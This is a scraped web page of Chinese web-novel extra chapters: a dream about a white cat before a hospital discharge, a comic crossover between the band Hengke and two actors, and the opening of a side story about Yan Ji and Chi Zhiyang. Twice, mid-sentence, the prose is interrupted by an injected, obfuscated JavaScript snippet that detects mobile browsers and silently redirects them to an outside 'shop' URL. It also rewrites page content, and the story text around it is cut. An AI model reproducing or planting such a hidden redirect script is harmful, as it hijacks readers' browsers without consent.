离开精神病院的前一天,他做了个梦。梦到许多年前他捡到过的一只小猫,一只瘦得只剩骨头的白猫。他为他买了小房子,替他洗了澡,后来猫被扔掉,和现实一模一样。 那只流浪猫是他下雪的时候捡到的,和雪一样白。如果不是他和正常人不一样,会突然倒在雪地里假装自己在游泳,根本发现不了。 他倒下时压到了小猫的尾巴尖,被叫声吓了一跳,赶紧把猫咪抱回了家。 那场雪持续了一周。苏洄那一周始终在想,被扔掉的猫一定活不了了。 都是他的错。 但或许是他太过后悔,后悔自己应该藏好小猫,后悔分手时不该提到这件事,那场梦的后半段,小白猫又出现了。他竟然溜进了精神病院,旁若无人地竖着他长长的尾巴走到苏洄的病房前,隔着玻璃,他很大声地叫。 苏洄突然变成了研习猫语的学者,畅通无阻地与他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727046|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沟通。 “是你吗?你回来了?”脱口而出的瞬间,苏洄觉得很痛,他当初竟然都来不及为这只猫起一个名字,以至于无法称呼他。 “是啊。”猫咪摇了摇尾巴,“我来看你了,你不是很想要有人来看你吗?” 是啊,太想了,所以才会做这样的梦。 “你走了多久?” “很久很久,像好几年那么久。” 苏洄在梦里流眼泪,“你怎么找到这里的?” “你写信了不是吗?” “连你都看到我的信了。”苏洄没继续说下去,只希望小猫不要离开他。 但他总是事与愿违。 “我要走了。”小猫的尾巴渐渐垂下来,“上次也一样,不是你抛弃了我,是我自己走了。谢谢你给过我一个家,但我喜欢自由,以后你也会有一个家的。” “真的吗?”苏洄抓不住他,摸不到他,哭着笑了一下,“我的家在哪儿啊。” “你是在雪里捡到我的。所以……”小猫告诉他,他的嘴还在一张一合,但苏洄的梦快要醒了,最后一句话他没听懂,只听到几句模糊的喵喵声。 梦结束了。醒来后的一分钟里,苏洄很努力地试图记住这一切,但治疗了太多次,记忆并不受他的控制。和很多重要的事一样,他又一次随随便便就忘掉了。 讨厌精神病院,苏洄想。 · 曼哈顿下了场大雪。 中央公园和街道都被皑皑白雪彻底覆盖,好像变成了另一个世界。 “可以停车吗?” “现在?就快到了。” “我想下去走走,看看雪。”苏洄没有听从司机的建议,打开车门,独自下了车。人行道上有很多重叠的脚印,路径覆盖着路径,每个人都很匆忙。 这里和医院好像是两个世界。橱窗被璀璨灯光和圣诞树装点得很漂亮,颂歌四处飘着,不远处的一间面包店门口摆放巨大的姜饼屋,招揽顾客。他站在门口看了很久很久,走进去,买了一盒巧克力。 苏洄一步步向前走着,低着头,盯着地上厚厚的积雪,在这座熟悉又陌生的城市留下属于自己的脚印,直到因红绿灯而停下,对面就是目的地。 红灯很久,苏洄只能靠阅读巧克力的包装打发时间,他发现包装纸上写着一句英文——你的人生比巧克力更甜蜜。 心血来潮,他摸出一支笔,在那句话的下面写下一句新的话。 再次抬头时,对面出现一个熟悉的身影。他有一瞬间的恍惚,以至于对方先跑了过来。他跑来的样子像极了分手那一晚。 只是说的话不同。 “你怎么自己下车了?司机刚刚给我打电话,我还想着去找你。”宁一宵用大衣裹住他,“冷吗?” 苏洄愣愣地摇头,把脸埋进他怀中,“你身上有杉树的味道。” “刚刚在布置家里的圣诞树。”宁一宵的笑声透着一丝无奈,“最上面那颗星星灯没挂好就下来找你了。” “我们回去一起挂吧?”苏洄说完,张开双臂抱住他,抚摸他的后背,然后在他唇上轻轻印上一个吻。 那个瞬间宁一宵似乎想起了什么,但他什么都没说,只是短暂地走神。很快他发现了苏洄手里的巧克力礼盒,“送给我的?” “嗯。” 苏洄送给了他。 “生日礼物?” “怎么可能?生日礼物比这个好很多很多。”苏洄解释说,“这是每天都可以收到的普通礼物。” 又到了绿灯,宁一宵牵着他的手过马路,回到公寓楼下。 一楼大厅的装潢很华美,水晶灯璀璨,在明亮的灯光下,宁一宵看清了巧克力包装上的广告语,也看到下面一句手写的英文。 [Love you more than one night, and more than myself.] 他的心猛地跳了跳。在这一刹那,身体里的一部分灵魂抽离,变成一只流浪狗,摇着尾巴跑走,跑远了。它好像很着急,急着去找年少时的自己。 大厅入口处是通透挑高的玻璃,映着外面的冰天雪地,和里面的两个人。苏洄盯着他们紧紧握住的手,恍然间看见一只小猫窜了过去,像一片白色的闪电。 这一瞬间,苏洄忽然记起了精神病院的那个梦,那只小猫说,你是在雪里捡到我的。 他也听懂了小猫说的最后一句话。 [所以……或许下雪的时候,你就能找到回家的路啦。] 宁一宵先回过神,发现苏洄掉了眼泪,但这是经常发生的事,所以他没见怪,只是低头吻掉了泪珠,捧着他的脸,笑得温柔。 “好冷啊,我们快回家吧。” 39. 恒刻x人设联动番外 恒星时刻的排练室最近颇为热闹。一方面是筹备了两年的二专临近宣发,另一方面,则是一位颇有渊源的老朋友前来做客。 “所以,你这段时间都要和我们待在一起?”迟之阳把鼓凳搬到沙发跟前,眨了几下眼睛,仔细观察,“你比电影大屏幕上看着还帅呢,这鼻子长得……” 听到这话,周自珩笑了,摸了摸自己的鼻子,“还可以吧,没有鼻炎,挺好使的。” 迟之阳被他逗笑了,一抬头看见端着茶杯推门进来的严霁,稍稍收敛了笑容,清了清嗓子,回归正题:“哎刚刚你说要演什么来着?吉他手?” “对啊。”周自珩笑了笑,从严霁手里接过杯子,抬头道谢,续道,“准确说是一个穷困潦倒的吉他手,乐队解散之后,得了抑郁症……” 一个想要自杀的吉他手,结果在自杀那晚的湖边遇到了一个同样想离开这个世界的聋哑孤儿,一大一小两颗苦瓜相依为命,互相为对方找寻人生意义。是一个孤寂晦涩,但底色温暖的故事。 听完剧情梗概后,严霁和迟之阳竟不约而同笑了。 “怎么了?”周自珩有些不明所以。 严霁温声说:“就是觉得很巧,你来这儿算是来对了。” 迟之阳大手一挥道:“来我们海鲜烧烤,你不仅能学到吉他,还能学到手语,不白来!” 严霁被他逗笑:“这电影让一隅和小乙去演都没问题,就是年龄差还不够大。” “哈哈哈哈!” “不过你可别跟着秦一隅学组乐队,越学越歪!” 过了好几天周自珩才明白他们为什么这么说。 “搞乐队最重要一点是什么?松弛!划重点了小周同学。” 秦一隅笑嘻嘻地绕着正认真记笔记的周自珩兜圈子,推了推鼻梁上的镜框,一本正经道:“什么是松弛?通宵排练我睡觉,舞台着火我拍照,队友拌嘴我尖叫,观众互殴我喊wow。” 周自珩笔差点儿掉下来。 原以为他在开玩笑,后来发现这竟然是真的。 这支乐队就是这么地自由散漫,无组织无纪律,吉他手和鼓手天天吵架不说,键盘手忙着健身,贝斯手忙着上课,排练室公然挂着横幅——做兄弟在心中,你排练我失踪。 偏偏这样一帮不靠谱的家伙,写歌的时候又极其迅猛,如有神助。 他不是头一次为了找角色感觉和同职业的人同吃同住,但和一群搞音乐又有趣的同龄人一起相处这么久,算是头一次。 这对从小到大就习惯了剧组生活的他而言实在新鲜,因此很快他们就热络起来。 周自珩每天跟着一起学琴、排练,写歌,仿佛也成了半个摇滚乐手。 “你学琴好快啊自珩。”迟之阳感叹道,“天分这么高,再练练说不定能搞个副业了。” “不过自珩指尖现在已经开始有水泡了。”严霁想到他的其他工作,“之后不会影响到一些代言吗?手表戒指之类的?” “这么一说还真是!”秦一隅眨了眨眼,站起来伸懒腰,“可要是手上一丁点儿痕迹都没有,特写也会穿帮的,毕竟没有哪个乐手的手上是没茧的,他演的还是个弹了十年琴的吉他手。” “剧组那边的意思是,中景和远景我自己上。”周自珩活动了手指,“特写镜头需要找手替。” “直接让秦一隅上呗!反正不是说好让他当你琴替吗?”迟之阳抱着椅子背,“吉他琴声和特写都可以不分开,直接录同期声了。” 秦一隅把两手张开,伸到迟之阳面前,“你觉得我这纹身很好遮吗?这么大一片。” 迟之阳立刻嫌弃地把头往后一靠,双下巴都快被挤出来,手啪的一声搭在他右手上:“边儿去!” “而且一隅是反手。”周自珩说。 “是啊……” 正说着,门忽然间打开,是才下课的南乙。 他背着贝斯,穿着宽大的黑色牛仔外套,头上灰白色毛线帽拉得很低,遮住眉毛,还戴了头戴式耳机,整个人散发着强烈的“生人勿近”气场。进来后,南乙视线对上坐在椅子上的周自珩,略一点头,权当打招呼。 “小乙!”迟之阳一眼就看到他手里的麦当劳纸袋,“买了什么?” “薯条。”南乙直接递给了迟之阳。手刚空下,就被秦一隅抓住。 还没开口,秦一隅忽然凑过来,大型犬似的贴着他闻了半天。 “怎么了?”南乙推下耳机,反握住他手指,顺道揉了揉。 “你喷香水了?”秦一隅皱眉,一张口机关枪似的,“去见谁啊还专门喷香水,你不是几乎不用香水吗?还是这么冲的……” 周自珩倒是觉得这味道很熟悉。 南乙有些无语,侧头闻了闻,眯了眯眼,想起什么似的:“哦,刚刚和一个人一起坐了电梯来着,他喷香水了。” 而且应该喷得不少,整个电梯简直变成大型香薰盒子,一进去他就差点打喷嚏,还好戴了口罩。 “人?”迟之阳叼着薯条问,“什么样的人?” 南乙简单描述:“戴着墨镜,头发和我差不多长,一身YSL西装,手里提着一束花。” 严霁调侃道:“贵公子打扮。” 南乙回想了一下对方的气质。 嗯,更像个有钱的混蛋。 “来这儿?难不成谈合作?”迟之阳很好奇。 秦一隅倒是没搭茬,上手脱了南乙身上的牛仔外套,抖了抖扔一边沙发上,然后从背后抱住南乙,两手在他胸前交叠,仿佛这样就能让他身上沾上自己的味道似的。 南乙也没阻止,反倒伸出手,拍了拍秦一隅的手腕。 就在这时,严霁突然想到什么,笑起来:“完美手替这不就来了吗?” 南乙有些不明所以,挑了挑眉:“手替?” 一直低头发消息的周自珩这时才忽然又开口:“小乙不是贝斯手吗?” 秦一隅勾了勾嘴角:“我家贝斯手的吉他水平绝对赶超一众吉他手,这个曲子他都不需要练。” “别说大话。”南乙扭头瞥了一眼秦一隅。 秦一隅笑了,又强调说:“而且他的手非、常、好、看。” 迟之阳叼着两根薯条,一左一右卡在嘴角,说话时不敢张嘴:“赞同!” 话题回归,听完周自珩说的,南乙摊开自己的手看了看,又对比了一下他的。 不太像,还得涂黑点儿。 “你们手指长度倒是很接近。”严霁歪了歪头,拿起两人的手,隔空比了比,“是吧?虽然身高有差距,但是手指意外地差不多长呢。” 正比着,门口忽然传来一声轻浮的口哨声,排练室里的五个人齐齐循声望去。 迟之阳嘴张大,薯条啪嗒掉下来:“等会儿?这不就是刚刚小乙说的那个YSL墨镜男?” 传闻中的墨镜男依靠在门框边上,微笑着,朝房间内众人抬手挥了挥:“嗨~朋友们下午好啊。” 话音刚落,他将墨镜推到头顶。一张和气质有些不符合的漂亮脸蛋完全露出来,鼻尖一颗痣极为显眼。 他笑着,瞥了一眼两只靠得有些近的手,径直走过去,将右手捧着的玫瑰花递给周自珩。揣在西装裤口袋里的左手也拿出来,毫无征兆地扣住了周自珩的手,十指相扣的握法。 这就够令人咋舌了,可那人似乎并不打算收敛,甚至还抬了手,拉到眼前,亲了亲周自珩的手背。 “宝贝儿,等很久了吧。”他俯下身,当着众人的面亲了亲周自珩的脸颊,还摸了摸他的头。 于是,恒刻四人收获了这位年轻影帝难得一见的红脸羞涩表情。 “这、这是我的男朋友,夏习清。习清,他们就是恒刻的几个乐手,我跟你说过很多遍的。” “男、男朋友??”迟之阳刚塞嘴里的薯条又一次掉了出来。 秦一隅则冲周自珩使了个眼色,笑道:“你就说我是不是神算子吧!” “是,您牛。”周自珩冲他比了个大拇指。 严霁和南乙倒是镇定许多。 “见过。”严霁微笑补充,“热搜上。” “嗯,电梯里。”南乙淡淡道。 “都是帅哥呀,真养眼。”夏习清笑着倚在周自珩的椅子上,打量南乙:“这不是刚刚电梯里那个贝斯手吗?” 说着,他忽然凑近些,直勾勾盯住南乙,笑着说:“你眼睛可真好看,我在电梯镜子里一直盯着看呢。” 看上去是很会骑摩托车和上床的酷哥啊。 南乙表情没什么变化,只点了下头。 撩拨失败,夏习清还有些新奇。 反倒是一旁的秦一隅按捺不住,挤在两人中间,揽住南乙肩膀,笑嘻嘻道:“谢谢夸奖。”扭过头,他又冲南乙使了个眼色,小声道,“你也说。” “谢谢夸奖。”南乙没感情地重复了一遍。 秦一隅动手动脚没个完,一会儿摘了南乙的毛线帽,一会儿又用手指梳他的头发,摆弄来摆弄去,最后拢起来,相当顺手地给他扎了个小辫儿。 “你和小乙坐一部电梯怎么比他晚来这么多?”周自珩抬头看向夏习清,笑着牵起他的手晃了晃,“别告诉我你找不着路啊。” “我等助理拿我买的东西啊。”夏习清因为一场艺术展的工作忙了快一个月,刚下飞机就赶了过来。 他抬了抬眉,微笑道:“第一次见面,总不好空手来吧。一会儿他会领过来,一点小见面礼,大家别客气。” 说完,他相当自来熟地拉椅子坐下,解开西装外套的扣子,露出意味不明的笑容,说:“刚刚玩儿什么呢,比手的大小?怎么不贴着比啊。” 周自珩莫名从这语气里听出些许不对劲,破天荒头一次,他都不敢信。反倒是一旁的严霁笑了。 迟之阳没反应过来,凑到严霁耳边超小声问:“笑什么啊?” 严霁揉了一把他的头发,故意不回答。 “你猜。” 手替的事一拍即合,周自珩随即把人选告诉了副导演,巧的是对方正好在附近忙选角试镜工作,接到电话颇为惊喜,问能不能现在带人去看看,拍点照片和视频给导演。 于是南乙就这么跟着周自珩走了。 “我还担心你不愿意呢。”站在写字楼电梯里,周自珩开着玩笑。毕竟一起相处了半个月,南乙单独和他说过的话几乎一双手能数得过来。 “怎么会?”南乙并没有说出真正的理由。 他一开始的确不感兴趣,想推掉,毕竟吉他手多的是。但听到他们说琴替是秦一隅的瞬间,他动摇了。 自己的手,秦一隅的吉他琴声,这两者合而为一,在同一个影像里呈现和保存,似乎也是一件不错的事。 和秦一隅说的一样,南乙拿到谱子便直接上手,演奏前他摘下了订婚戒指和那枚吉他弦做的对戒,放进口袋里。 他几乎没说几句话,但格外地引人瞩目,琴一背,身旁便自动围上来一批人。 而他弹电吉他的样子也让人几乎没办法想象这其实是一名贝斯手。 “太好了,非常好。”副导演像是捡到宝一样,反复查看照片和视频,“可能要稍微遮一遮纹身,问题不大。” “这个纹身是什么意思?” 回去的路上,周自珩笑着八卦道:“和一隅有关吧?” 他原以为南乙会像平时那样不说话,可下一秒,对方的反应却令他有些意外。 “嗯。”南乙坦荡地点了头,语气随意,“为了他纹的。” 北京的春天风很大,吹开他额前的几缕碎发,这个看上去铜墙铁壁一样的人,此时此刻竟仿佛也有了破绽,活了起来。 真酷。周自珩在心里感叹,竟然就这么承认了,一点儿扭捏都没有。 “那他身上的纹身也是为了你纹的吧?” 南乙轻笑了一下。 “他?更早了。” 他说完,像是忽然发现了什么似的,过了马路,径直来到对面临街的一家小店,驻足在红彤彤的山楂糖雪球前,买了一兜。 直觉告诉周自珩,这不像是南乙爱吃的东西,大概率又是给秦一隅的。 付完钱,南乙扭头,发现周自珩盯着他看,下意识扬了扬眉:“在看什么?” 周自珩笑笑,“找感觉。你身上那股劲儿,就是我想要的,很难形容。” 南乙点了下头:“你经常这样观察别人?” “嗯,这也算是我的工作。有时候马路牙子能蹲一天,来来往往的路人都看个遍。拍海鸥之前我也去船上体验了一个月,和一个年轻的船员一起住,他是马来西亚人,说话语气很可爱。” 南乙听了,觉得很有意思。 他们都是很喜欢观察别人的人,但目的截然不同,周自珩观察别人是为了模仿和演绎,而他脑子里想的都是怎么能弄死他恨的人。 “你这些耳钉,还有眉钉。”周自珩指了指,“挺帅的。” “打了就得每天戴,为了角色没必要牺牲这么多。”南乙从老板手里接过那袋糖雪球,“你可以用粘的。” 周自珩点点头,同他肩并肩走在路上。不知为何,南乙从他脸上读出些欲言又止的感觉。 “怎么了?”他感觉周自珩在看自己后面。 “啊……”周自珩笑了笑,“从刚刚我就想说,你扎头发的这个发绳,挺萌的。” 是恶作剧吧。 南乙愣了一秒,很快反应过来,手伸到后面取下发圈,摊开手一看,上面有一条橙色毛绒小鱼作为装饰,又大又圆的鱼眼睛存在感极强。 他垂着眼,忽然笑了,笑容里透着很明显的无奈,再抬眼时,那双一向锐利的浅瞳竟变得极其柔和。 这是周自珩第一次看他露出这样的笑容。 “不知道他什么时候扎的。”南乙的语气明显拿某人没办法。拿着这枚萌到有些搞笑的发圈,他盯了几秒,小声嘀咕,“新买的吗……” 原以为会塞口袋里,可南乙仔细端详后,竟伸手,重新用这发圈扎回方才小辫儿,丝毫不在乎这和他全身的装束有多么违和。 不可思议。 周自珩脑中忽然冒出这四个字,但他脱口而出的却是另外四个字。 “你是1吧?” 南乙眯了眯眼,对这位大明星的提问有些震惊:“什么?” “肯定是。”周自珩想了想两人的相处模式,更加笃定。 这是同为1的嗅觉,不会错。 不知道他在想什么,表情有些好玩。南乙轻笑了笑。 “回吧我们。” 他隐隐有些担心秦一隅和夏习清的相处,毕竟走之前两人还颇有点针锋相对。 就秦一隅那针眼大小的心眼儿,不知道又会发什么疯。 但人还没进排练室,他们就听到了里面传来的笑声。 “哎你们那个一调戏就炸毛的小鼓手呢?小可爱跑了?” “他?Daddy把他拐走了吧,他可太搞笑了,说两句就跟踩了小尾巴似的,直接爆炸。” “艺术就是爆炸。你知道吗?我有个跟我一般大的侄子,特逗,说两句就急,最喜欢找他犯贱了,从小到大我的第一乐子,下次介绍你俩认识!” “操,这么大的侄子,那不是从小到大合法犯贱?” “你是懂我的,爽得要死,过年升天。” 门外的南乙和周自珩对视了一眼,眼神意外中透着一点复杂。 事情头一次往另一种方向发展。 两位相逢恨晚的乐子人在二十分钟前还不是这样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727047|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 建立友谊只需要秦一隅一句话。 “哎,你和小周同学……”秦一隅凑过去,比了向上的手势,“你应该是这个吧?” 夏习清一听,嘴角立刻压不住了,啪地一声握上秦一隅的手,仿佛是失散多年的亲兄弟:“我一直都是1,这都被你看出来了,眼神儿不错啊。” “那必须的。”秦一隅嘚瑟一笑,“你这气场一看就是我同类啊,一出现我脑子里就biubiubiu,1达直响。虽然自珩是真的高,但我觉得这不重要。” “确实,不过我就喜欢高的,纯情的,一米九大帅哥脸红起来最好玩儿了。” “那我就放心了。” “什么?”这句声音太小,夏习清没听清。 秦一隅嬉皮笑脸道:“没什么。” 于是,两个凑在一起能创飞全宇宙的人就此达成革命友谊。不自在的反倒变成了坐在他们旁边的南乙和周自珩。 因为这两个社交悍匪聊的每一句,都让人出乎意料。 夏习清喝了一口咖啡,随口问:“你爸妈身体还好吧?” 南乙闭了闭眼。 秦一隅笑嘻嘻说:“我妈死了,我爸也死了。” 于是周自珩也闭了闭眼。 “操?”夏习清睁大了眼。 秦一隅点了点头,想宽慰他:“没事儿,我的人生就是这么跌宕……” 谁知夏习清抢先一步,用那张迷惑性极强的清纯脸蛋发问:“我爸怎么还不死?” “啊?”秦一隅嘴里的糖雪球都忘嚼了,腮帮子鼓鼓囊囊。 “那你现在不是爽死了。”夏习清满脸羡慕,“有爹的狗日子我是一天也不想过了,求亲爹早死教程。” 南乙挑眉。幸好没有摄像头。 “确实,爽疯了。”秦一隅说着忽然拿出手机,莫名其妙对准自己咔嚓了一张,“我现在随便拍张自拍就是全家福。” 太地狱了。周自珩甚至想给自己扣1加点功德。 “哈哈哈哈哈哈。”夏习清笑得伏到周自珩肩头,朝对面的秦一隅伸出手,“快!照片儿发我!” “怎么着?欣赏我的美貌?”秦一隅挑眉。 “我沾沾喜气!” 周自珩过分强烈的道德感令他面对这铺天盖地的地狱笑话有些无所适从,只好找个借口带着老婆开溜:“那什么,我饿了,我们……” “饿了?正好。”夏习清从助理拿来的一大堆袋子里翻出一些三明治,“这个最近火得不得了,我专门找人排队买的,想说你们排练估计不会好好吃饭,正好垫垫肚子。”他说完,拿了一个递给秦一隅,“一隅你也尝尝。” 听到这个称呼,一直不动声色的南乙挑了挑眉。 “我不想吃这个。”周自珩说,“那什么,我们现在去……” 听罢,夏习清笑着伸手,勾了勾周自珩的下巴:“你哪儿饿了啊?” 周自珩立刻结巴了:“不、不是……” 夏习清盯着他,意味深长地抬了抬眉:“懂了,那我们先走了。” “去哪儿啊?”周自珩问。 “酒店啊。”夏习清戴好墨镜,大言不惭,直接勾住了周自珩的领子,“我套房都订了,你这三天归我了。” 于是,南乙和秦一隅也站起来走到门口送人。 风风火火地来,又风风火火地带着人跑了,排练室就这么静下来,只剩他们两个。秦一隅的手还搂在南乙腰上,没撒手。 见人走远了,南乙拨开他的手。 “别在外面搂我腰。” “你腰细啊。”可秦一隅的手就跟磁铁似的,又一次贴上去,“看着看着手就上去了,又不能怪我……” 南乙把排练室门一关,攥着秦一隅的衣领把人推到墙上,脸是冷的,指尖却很热,他的手逐渐从衣领,滑到到他喉结,虚握住,低声道:“哪儿细握哪儿是吧。” 眼看着这只漂亮的手愈发收紧,毫不留情地掐住,秦一隅一点儿不慌,反倒嬉皮笑脸起来:“宝宝,这也不算是我身上细的地方啊。” 说着,他靠在墙上的腰往前动了动,小腹贴上南乙的,还挑衅似的歪了歪头。 南乙望着他的眼睛,盯了好一会儿。秦一隅还以为他会发火,或是像以往一样抬起膝盖直接顶,为了他们未来的幸福生活,每一次撩拨时秦一隅都做足了风险预案。 可下一秒,他却愣住了,因为南乙抬起手,伸到他眼前,手指轻轻捏住了他的睫毛。 这下他连眨眼都做不到了。 “这儿?”南乙笑了,笑容难得地有些孩子气,手刚松开,就忽觉天旋地转——秦一隅直接将他抱了起来。 “你当心手伤,还要做第二次手术的。” “心疼我就主动盘腰啊。”位置调换,这次靠上墙壁的人变成了南乙,秦一隅直接吻了上来,唇钉磕碰到犬齿,叮的一声响,南乙头皮发麻。 “我们……也去开……”在这个黏糊的吻里,秦一隅断续地说着话,开始了他最拿手的得寸进尺。 但南乙却咬了他舌尖,搭在他后颈的手抬起来敲了敲他的头。 “开什么?给你做个开颅手术好了,看看你脑子里都装着些什么见不得人的东西。” “怎么就见不得人了?魅力四射好吗?” “什么?” 秦一隅吻了吻南乙的下巴尖,低低地笑了:“全是你啊,魅魔大人。” 晚上十点,另一边的酒店顶楼总统套房,靠在床头汗津津抽着烟的夏习清打开手机,随便刷了刷,竟然看到新鲜的街头偶遇照片。 他一字一句念出下面的评论:“第一次见南乙这么温柔的笑,天哪,这个背影是谁?秦一隅吗?” 他哼笑一声,手机往周自珩怀里一扔,“这背影不是你吗?大明星。” “啊?”周自珩有些迷茫,“啊……我们聊天呢。” “聊什么把人逗得这么开心?”夏习清难得地火力十足,“这么酷一帅哥都能被你给逗笑了,可以啊周自珩,这么些天没白混啊,我才出差多久,你就出师了,小周同学这么会撩拨,也教教我呗。” 周自珩一面觉得冤枉,另一面又有些得意。这可是破天荒头一次啊!破防的终于不是自己了。 “习清,你吃醋啦?”他靠过去,亲了亲夏习清的鼻尖。 夏习清冷笑一声,“你做梦呢。” “你就是吃醋了。”周自珩搂住他,心里虽然嘚瑟,却也不舍得,于是解释说,“他笑不是因为我,是因为一隅,我调侃他俩呢。” 夏习清挑了挑眉,手指戳上周自珩的胸口,抵开他,将信将疑:“真的?” 周自珩伸出手:“我对小玫瑰的心日月可鉴。” “少来。”夏习清嘴角微微扬起,手指顺着胸口缓缓往下,“说话谁不会?不如来点实在的。” 另一头的排练室,迟之阳叼着吐司打鼓。排练室大门推开,是秦一隅和南乙,两人身上有烟味,好像还都洗了手。 “你们俩干嘛去了?抽烟了?” 严霁一眼就看出来了,故意揶揄:“地库?还是休息室啊?别告诉我你俩为了抽烟回了趟家。” 秦一隅正要说话,看到南乙瞥来的眼神,给自己的嘴拉了拉链,耸耸肩坐回桌前。 “吃吐司吗小乙?”迟之阳伸手,递出吐司袋,“巨好吃,下午那个墨镜哥拿来的。” 南乙歪头盯了一会儿,还真拿出两片来。秦一隅还以为他会给自己一片,下意识就伸了手。 谁知南乙一上一下,竟用两片吐司夹住了秦一隅的手,低头结结实实咬了一口。 “?干嘛?”秦一隅眨眨眼,没反应过来。 南乙嘴角勾着薄薄的笑意,语气很轻。 “吃三明治啊,一隅。” 40. 恒星时刻严迟番外(一) “撞破别人秘密,还被对方发现,往往都不会有好下场。” 这句话是上学时,迟之阳听南乙说过的。至于当时是什么情景、出于什么原因,他一概不记得了,只觉得非常有道理。 现在,不小心得知严霁是gay的他,更是对此奉为圭臬。 自从聚餐撞破汪琦对严霁表白,迟之阳就隐隐发现,自己和严霁的相处开始变得不自然。即便他非常努力地对严霁表示,自己真的一点也不在乎他的性取向如何,绝不会因此对他态度转变,可有些事就是发生了微妙的变化。 过去他喜欢和严霁躺在一张床上睡觉,有种说不清的安全感。但那天晚上,当他习惯性在洗完澡后掀开他的被子,严霁却拒绝了。 他用非常温和的语气说:“小阳,我觉得这样不太好,既然你知道了,我想还是稍微避嫌一些更妥当。” 真是非常成年人、非常体面的说法,可迟之阳当时却懵了,甚至有些生气。 凭什么?你喜欢男人又怎么样?难道在我和你一起睡觉前你就不喜欢男人吗?不就是让我知道了,有这么在意吗?是我做错什么了吗? 他和严霁大吵了一架,尽管只是在脑子里。现实生活里的他如梦初醒,只是哦了一声,憋着一股气回到自己的床上。那床已经很久没睡过,散发着一股陌生的气味,弄得他一晚上都没睡好。 一整晚,迟之阳的脑子都在疯狂运转,晕晕乎乎。 严霁真会装。他是gay,自己怎么会一点也没察觉出来的?明明他们这么要好,几乎每时每刻待在一起。 原来自己一丁点都不了解他,只是自以为是他的好朋友。这太伤人了。 迟之阳像个很差劲的学生参加一场开卷考,拿着书哗啦啦没章法地翻找答案,愚蠢地在脑中搜索所有有关“严霁其实喜欢男人”的细节。 很快他意识到,严霁竟然是个从不表现好恶的人。 他永远以接受的姿态包容一切,什么都好,什么都ok,不挑剔,不拒绝。在CB里大家吃饭时总会聊天,问到恋爱经历、喜欢的类型,严霁从没有正面回答过,他永远都是微笑着将话题不动声色地转移到另一个人身上,巧妙地撤离。 迟之阳猜不出他会喜欢什么样的人。 汪琦不够好吗?三番两次对他表白,都失败了。 可将这个问题反过来,汪琦会喜欢上严霁,似乎就太合理了。因为他太温柔了。连自己这么迟钝的人都能清楚地感受到这份好。 他是唯一一个会为节目组布景用的盆栽浇水的人。在许多人七嘴八舌聊天的时候,他会忽然轻声对好久之前被打断的某个人说:“你刚刚是不是想说什么?还能想起来吗?” 无论什么时候,集体出行时,他总会下意识地数一遍人数,怕漏下哪个。 在他砸碎玻璃杯时,严霁的第一反应永远是先关心他的手,让他离开事故现场,自己打扫完后,在扔垃圾前,会用废纸包好碎片,并且再上面贴上便签——里面有碎玻璃,请小心。 就连陪着他去地下停车场找车,迟之阳也好几次发现,严霁会忽然弯腰,捡起地上的螺丝钉,因为怕其他人的车胎被扎破。 第一次让迟之阳切身体会到,是严霁带他去看病的时候。 第一次淘汰赛期间,他排练过度,压力过大患上神经性耳鸣,阶段性结束比赛后,严霁开车带他去检查。 迟之阳喜欢坐严霁的车,里面总是香香的,而且每次严霁放的歌他都很喜欢,但非常讨厌去医院。 从小到大,迟之阳对这个场所就没什么好的记忆,因此来的时候就表现得很焦躁,听到一点点吵闹声就开始烦,等待叫号的过程中也在不断地抖腿。 很快严霁就发现了。医院里人很多,空座位就一个,所以他半蹲下来,一只手很有分寸地按在迟之阳膝盖上,望着他问:“是不是哪里不舒服?除了耳鸣。” 迟之阳皱着眉,不明白他是怎么发现的,但条件反射地否认了:“没有啊。” 他不想让严霁觉得自己事多,很麻烦。 “真的?”严霁笑了笑,“你看上去有点焦虑。” 迟之阳实在不擅长伪装,脱口而出:“你怎么知道?” “猜的。”严霁笑了笑,“焦虑的时候藏在心里,会加重情绪反噬,要不要试试聊一聊?放心,我不会告诉其他人的。” 换个人,迟之阳是断然不会倾诉的,但严霁浑身上下散发着一种成熟可靠的微妙感觉,就连望向他的眼神,仿佛都在说:你可以放心地将你交给我,我会好好地托住你的。 于是他就这么受了蛊惑,别扭地向他倾诉了不好的记忆。 “我……我不喜欢医院。小时候爸妈吵架,吵得很凶,又摔又砸,我才几岁大,听到了就从房间里出来,人还没清醒呢,一个花瓶就砸到我脚踝上,立马就肿了,还流了血。” “没办法,他们就把我送医院,医生给我包扎的时候他们还在吵,消毒的时候很痛,我哭了,他们很大声地让我别哭了,越哭越烦,说要不是因为我,怎么会大半夜跑到医院来,乖乖在房间里睡觉就不会这样。” 严霁很认真地听,手轻轻地拍着他的手背,迟之阳后知后觉意识到这一点,忽然有些想哭,又试图忍住,嘴角向右撇了撇:“反正,每次来医院都要挨骂,时间一长,真生病我也不想来了。” “原来是这样。如果我是你,那个时候也会非常难过的。”严霁语气温和,望着他,“是你的父母情绪不稳定,好面子,在外还试图把责任推卸到你身上。” 是啊。就是推卸责任。 严霁的一针见血令迟之阳有了更多的表达欲。他看向走廊一侧的窗户,吸了吸鼻子:“还有一次,我中考前要体检,特别巧,我在医院看到了我爸和他后来的老婆,还有他俩的小孩儿,那个小孩儿头上贴着退热贴,被我爸抱在怀里哄。” 